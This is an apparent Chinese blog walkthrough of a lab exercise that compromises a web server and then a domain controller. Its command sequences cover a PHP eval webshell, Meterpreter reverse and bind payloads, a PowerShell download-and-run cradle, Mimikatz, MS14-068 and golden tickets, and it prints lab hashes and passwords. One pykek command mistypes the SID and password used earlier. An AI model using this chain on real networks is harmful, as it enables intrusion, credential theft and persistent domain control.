暗月项目六内网域渗透笔记
2025-05-14 17:22:38 # 内网渗透

环境搭建

靶场环境的拓扑图如下:

image-20250512124656889

靶场是webhack123WEB服务器有两块网卡,DC是域控。

信息收集

端口探测

1
nmap -p- 192.168.1.13

image-20250512125122545

nmap获取系统和版本信息

1
nmap -p 80,135,139,445,3306,3389,47001,49152,49153,49154,49155,49156,49157 -A 192.168.1.13 -oA webhack

由扫描的信息可知,web服务器使用的是phpstudy。操作系统为Windows Server 2008 R2

对网站进行测试

Machosts文件中添加192.168.1.13 www.webhack123.com192.168.1.13 admin.webhack123.com,这样我的Mac通过域名就可访问到对应的网站。

image-20250512124840963

ffuf目录文件扫描

1
ffuf -u http://www.webhack123.com/FUZZ -w Wordslist/all.txt

image-20250512125641975

wc.db文件下载

1
wget http://www.webhack123.com/.svn/wc.db

image-20250512130405171

使用Navicat打开数据库,可以看出使用到的框架为thinkphp

image-20250512130708281

thinkphp日志文件泄露

thinkphp_3.1.3中,日志文件是开启的,由wc.db可以知道目录位置。

image-20250512131128450

日志路径格式如:http://www.webhack123.com/App/Runtime/Logs/18_06_28.log

提取日志获取密码

使用python编写日志文件提取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8
import requests
url ="http://www.webhack123.com/App/Runtime/Logs"

def add_urls(patch,y):
urls=[]
for i in range(1,7):
for j in range(1,32):
if i<10:
if j<10:
urls.append(patch+"/%s_0%s_0%s.log" % (y,i,j))
else:
urls.append(patch+"/%s_0%s_%s.log" % (y,i,j))
else:
if j<10:
urls.append(patch+"/%s_%s_0%s.log" % (y,i,j))
else:
urls.append(patch+"/%s_%s_%s.log" % (y,i,j))

return urls

urls = add_urls(url,"20")
for i in urls:
req=requests.get(i)
if req.status_code==200:
print(i)
html = req.text
with open("webhack123.txt",'a',encoding='utf-8') as f:
f.write(html)

获取日志,并在日志中查找到泄露的管理员密码。

image-20250512132623141

账号为admin,密码的哈希为74c774ef39b5b977c1fd59dbfc73c3e380a65aa3,经过cmd5得出密码为web123

image-20250512132826440

host碰撞管理后台子域名

如果扫描目录还是找不到后台,可以尝试进行host碰撞出子域名。

代码参考[1],变动了一下代码,ip.txt用于存放目标的IP地址,host.txt用于存放子域名前缀。这里是http,不需要进行https的爆破。运行代码,子域名和IP地址进行匹配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#这是一个用于IP和域名碰撞匹配访问的小工具(修改过)

import requests
import re


lists=[]
files = open('hosts_ok.txt','w+')
#读取IP地址
print("====================================开 始 匹 配====================================")
for iplist in open("ip.txt"):
ip = iplist.strip('\n')
#读取host地址
#http_s = ['http://','https://']
http_s = ['http://']
for h in http_s :
for hostlist in open("host.txt",'r'):
tmp = hostlist.strip('\n')
host = tmp+'.webhack123.com'
headers = {'Host':host,'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}
try:
r = requests.session()
requests.packages.urllib3.disable_warnings()
rhost = r.get(h + ip,verify=False,headers=headers,timeout=5)
rhost.encoding='utf-8'
title = re.search('<title>(.*)</title>', rhost.text).group(1) #获取标题
info = '%s -- %s 协议:%s 数据包大小:%d 标题:%s' % (ip,host,h,len(rhost.text),title)
lists.append(info)
files.write(info + "\n")
print(info)
except Exception :
error = ip + " --- " + host + " --- 访问失败!~"
print(error)
print("====================================匹 配 成 功 的 列 表====================================")
for i in lists:
print(i)

结果如下,发现了一个admin.webhack123.com子域名。

image-20250512143022860

成功找到了后台的管理站点。

image-20250512143257291

根据前面获取到的账号密码admin/web123可以登陆管理员界面。

上传文件获取webshell

登陆到管理员界面后,进行文件的上传。设置允许上传php,上传一句话木马<?php @eval($_POST['pass']);?>

image-20250512144703229

上传成功,获取shellurlhttp://admin.webhack123.com/Public/Upload/20250512/d58f8404ac973d0352c666b9f83056a9.php,使用蚁剑进行连接。

image-20250512145624138

image-20250512150325172

MSF进行提权和信息收集

生成攻击载荷

phpstudy环境下,上传并执行exe文件,直接就是系统的最高权限了。

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=12345 -f exe -o tt.exe

在本机的根目录会生成一个tt.exe文件。

监听上线

1
2
3
4
5
6
7
8
9
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf6 exploit(multi/handler) > set lport 12345
lport => 12345
msf6 exploit(multi/handler) > exploit

我使用的是mac m1环境安装的msf,监听发现一直报错,连接不上shell。这里我卡了很久,想破脑袋,也没想到把mac的防火墙关了就好了😑。

image-20250513113931755

成功拿到shell

image-20250513114424829

migrate迁移进程

找到合适的进程,进行进程的迁移,这里很多人使用的是migrate 476

image-20250513130552170

迁移成功。

image-20250513130700625

mimikatz哈希明文获取

使用load kiwi,加载mimikatz模块。

1
2
3
creds_all
creds_wdigest
creds_tspkg

image-20250513131257484

arp可以发现更多的主机。

image-20250513131434911

跨网段域渗透

MSF跨网段的域渗透

使用metasploitcobalt strike进行域渗透。

确认域环境

ps查看进程,进行令牌窃取,必须切换到adminstrator,非system,才能使用net config workstation⚠️

image-20250513133145485

切换到shell,然后执行net config workstation。出现乱码情况时在获取的shell中执行chcp 65001

image-20250513133609467

定位域控

1
run post/windows/gather/enum_domain

image-20250513133723239

域信息收集

1
2
3
4
5
net time /domain #查看域控时间
net view #遍历信任主机
net view /domain #查看域
net view /domain:hackbox
net group /domain

image-20250513135625840

ipconfig确认了存在两个网段10.10.10.150192.168.1.13

image-20250513135931643

终端执行信息收集命令

ipconfig /all查看信息。

image-20250513140129603

dns 10.10.10.149dns一般都是与域控同一个ip

获取登陆过的用户信息

1
run post/windows/gather/enum_logged_on_users

image-20250513140428684

获取的SID如下:

1
2
3
4
5
6
7
8
SID                                            Profile Path
--- ------------
S-1-5-18 C:\Windows\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1443003717-4130318662-4279967973-500 C:\Users\Administrator
S-1-5-21-2005268815-658469957-1189185684-1103 C:\Users\web
S-1-5-21-2005268815-658469957-1189185684-500 C:\Users\Administrator.HACKBOX

添加路由渗透DC域控

1
2
3
4
5
6
7
8
#查看全局路由器
run get_local_subnets
#添加10段的路由信息
run autoroute -s 10.10.10.0/24
#查看添加的路由表信息
run autoroute -p
#回退,开启代理
background

image-20250513143458109

image-20250513143516484

开启代理通域控

1
2
3
4
5
6
7
8
9
# 使用代理模块
use auxiliary/server/socks_proxy
# 设置代理端口
set SRVHOST 127.0.0.1
set SRVPORT 1080
# 查看设置的情况
show options
# 启动
run

image-20250513193150680

注意本地使用的代理配置情况。我是用的是proxychains4Mac m系列安装这个我又折腾好久😑,参考这个才给解决的,安装proxychains4[2]。最好还是用kali,没这么多麻烦。

nmap通过proxychains扫描域控设备

修改proxychains的配置文件,使其代理走的是127.0.0.1 1080

image-20250513195812729

执行命令,结果如下:

1
proxychains4 nmap -sT -A -Pn 10.10.10.149

image-20250513195644245

永恒之蓝ms17-010进行溢出攻击DC(失败)

1
2
3
4
5
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.149
set RPORT 445
show options
run

image-20250513200141843

攻击失败。

ms14-068提权域控

ms14-068的条件
  • 获取域普通用户的账号密码web@hackbox.com/!@#Qwe456
  • 获取域普通用户的SID: S-1-5-21-2005268815-658469957-1189185684-1103
  • 服务器未打KB3011780补丁
  • 域控服务器的10.10.10.149
ms14-068创建票据

上传MS14-068.exe[3]到执行的目录下

1
MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

image-20250513210324509

载入kiwi清理内存票据,再导入票据

载入kiwi,清理当前的票据,如下。

1
2
3
load kiwi
kerberos_ticket_purge
kerberos_ticket_list

image-20250513210716497

导入票据票据部分。

下载[4],并上传mimikatz.exe、mimidrv.sys、mimilib.dll到执行命令的目录,运行mimikatz.exe

并执行kerberos::ptc TGT_web@hackbox.com.ccache

image-20250513212954123

exit退出mimikatzklist查看当前票据。

未导入票据前去访问dc,如下:

image-20250513211928318

此时去访问dc域控,成功访问。

image-20250513213205104

获取dc域控制权限

生成正向载荷,copy复制到域控,并执行定时任务
1
msfvenom -p windows/x64/meterpreter/bind_tcp lport=13777 -f exe -o bind.exe

生成bind.exe,并上传至web站点的服务器,并复制到域控中去。

1
2
3
copy bind.exe \\dc\C$\  # 复制文件到目标
net time \\dc # 查询dc时间
at \\dc 21:51:00 c:/bind.exe #增加定时任务执行

image-20250513214855544

获取域控权限命令

设置好定的时间,msf进行监听。

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.149
set lport 13777
exploit

成功连接至域控。

image-20250513222709163

获取dc域控哈希明文

迁移进程,并获哈希

1
2
migrate 388
hashdump

image-20250513223358934

1
2
3
4
5
6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98:::
web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:961b3511aef13bfc4498d1e767ee2422:::
WEB$:1104:aad3b435b51404eeaad3b435b51404ee:2a0edff7f95894d229b63285d32fc9c7:::

使用load kiwi,并执行creds_tspkg

image-20250513223728435

抓域控全部hash

1
run post/windows/gather/smart_hashdump

image-20250513224001261

制作黄金票据

考虑长期权维护,还是做一个黄金票据比较保险。

制作黄金票据需要满足以下条件:

  • krbtgthash
  • 本地管理员权限
  • 域的SID(普通用户的SID除去最后三位就是域的SID
  • 域内任意用户的本地管理员权限

获取ntml sid rid

1
wmic useraccount where name="krbtgt" get sid

image-20250513224618826

获取到的SID: S-1-5-21-2005268815-658469957-1189185684-502

窃取域控超级管理权限

系统权限没办法做dcsync所以切换域管理权限。

1
2
3
ps
steal_token 2092
dcsync_ntlm krbtgt

image-20250513224933391

获取到的内容为:

1
2
3
4
5
[+] Account   : krbtgt
[+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98
[+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b
[+] SID : S-1-5-21-2005268815-658469957-1189185684-502
[+] RID : 502

生成黄金票据

获取到的条件如下:

1、krbtgthash6f60ace6accbcb76078ccc0312174e98

2、本地管理员权限:已获取

3、域的SID(普通用户的SID除去最后三位就是域的SID):S-1-5-21-2005268815-658469957-1189185684

4、域内任意用户的本地管理员权限:已获取。

1
2
golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本
地存储路径如:/Users/x2n/Desktop/webhack123.com/krbtgt.ticket>

根据获取的条件,进行黄金票据的生成。

1
golden_ticket_create -d hackbox.com -u x2ntest -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /Users/x2n/Desktop/webhack123.com/krbtgt.ticket

image-20250513230047465

切换到web服务器,把凭据都清除掉。使用kerberos_ticket_purge,确保dc是无法访问的。

image-20250513230617747

此时使用生成的票据kerberos_ticket_use /Users/x2n/Desktop/webhack123.com/krbtgt.ticket,成功访问到域控。

image-20250513231036926

CS进行内网域渗透

建立teamserver

1
./teamserver 192.168.1.3 4477 # 4477为密码

设置好监听器,监听192.168.1.3,监听的端口为8085

image-20250512201453122

在web服务器上执行下载powershell恶意代码

使用Windows Executable去生成.ps1文件。

image-20250512204448238

再使用钓鱼攻击中的文件下载,获取下载的URL,为http://192.168.1.3:8022/tt

image-20250512204756691

进行上线。

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:8022/tt'))"

image-20250512204314027

设置间隔时间

设置时间间隔为0,不然会影响后面的操作。

image-20250512204952134

获取hash和域内信任主机

1
2
hashdump
net view

image-20250512205228670

扫描环境内主机

image-20250512205837345

image-20250512210232067

扫描结果如下,存在主机10.10.10.149

image-20250512210509148

利用cs集成命令进行信息收集

1
2
3
net computers
net domain
net dclist

image-20250512211214829

cs mimikatz web服务获取明文

image-20250512211552406

dir访问域控DC

1
shell \\dc\c$

image-20250512212553216

cs ms14-068提权到域控

上传文件ms14-068web服务器上,执行如下命令,SID来源前面MSF获取的。

1
shell MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

image-20250514000630970

在ms14-068.py脚本下创建票据

还可以使用ms14-068.py[5]进行票据的创建。这里mac用户有一个坑点,执行时候要使用到python2,我的proxychains-ng编译成了arm64格式,但是ms14-068.py使用的执行环境是python2python2x86的,二者冲突了。难搞☹️。

image-20250514102745723

这里如果使用kali应该是没问题的,使用下面的命令直接就可以了。

1
proxychains4 python2 ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-6584D69957-1189185684-1103 -d 10.10.10.149 -p '!@#@we456'
KrbCredExport.ccache 文件转化为 kirbi 格式

使用前面MS14-068.exe获取的TGT_web@hackbox.com.ccache,使用KrbCredExport.py[6]将其转化为user.ticket

1
python KrbCredExport.py ./ccaches/TGT_web@hackbox.com.ccache ./tickets/user.ticket

image-20250514103702160

导入票据访问dc
1
2
kerberos_ticket_use ./tickets/user.ticket
shell dir \\dc\c$

image-20250514105022907

获取dc域控权限

目前是有了访问dc的权限,下面尝试获取dc域控的控制权限。

设置smb连接器,进行正向连接

创建一个连接器。

image-20250514105827103

生成exe,并上传到域控上。

image-20250514110655360

复制后门文件到域控中并执行
1
2
3
shell copy beacon.exe \\dc\c$\beacon.exe
shell net time \\dc
shell at \\dc 11:49:00 c:/beacon.exe

添加定时任务。

image-20250514115225164

在beacon正向连接上dc

link dc连接上dc

image-20250514115403150

image-20250514115454588

获取dc明文哈希

image-20250514115901753

image-20250514115954384

cs制作黄金票据

在域控上执行命令导出krbtgt信息
1
beacon> dcsync hackbox.com hackbox\krbtgt

image-20250514120300664

获取数据:

1
2
3
域:hackbox.com
krbtgt的NTLM哈希值为:6f60ace6accbcb76078ccc0312174e98
域的SID(普通用户的SID除去最后三位就是域的SID):S-1-5-21-2005268815-658469957-1189185684
在web服务器上制作黄金票据
1
mimikatz kerberos::golden /user:x2ntest1 /domain:hackbox.com /sid:S-1-5-21-2005268815-658469957-1189185684 /krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt

image-20250514121400389

未使用票据前,访问失败。

image-20250514122841610

使用黄金票据后,可以直接访问域控了。

image-20250514123111483

FLAG获取

Web flag1

image-20250514122330806

Web flag2

image-20250514122516477

DC flag3

image-20250514123200938

参考


  1. https://github.com/fofapro/Hosts_scan ↩︎

  2. https://www.cnblogs.com/baicaix86/p/16418840.html ↩︎

  3. https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 ↩︎

  4. https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919 ↩︎

  5. https://github.com/mubix/pykek ↩︎

  6. https://github.com/rvazarkar/KrbCredExport ↩︎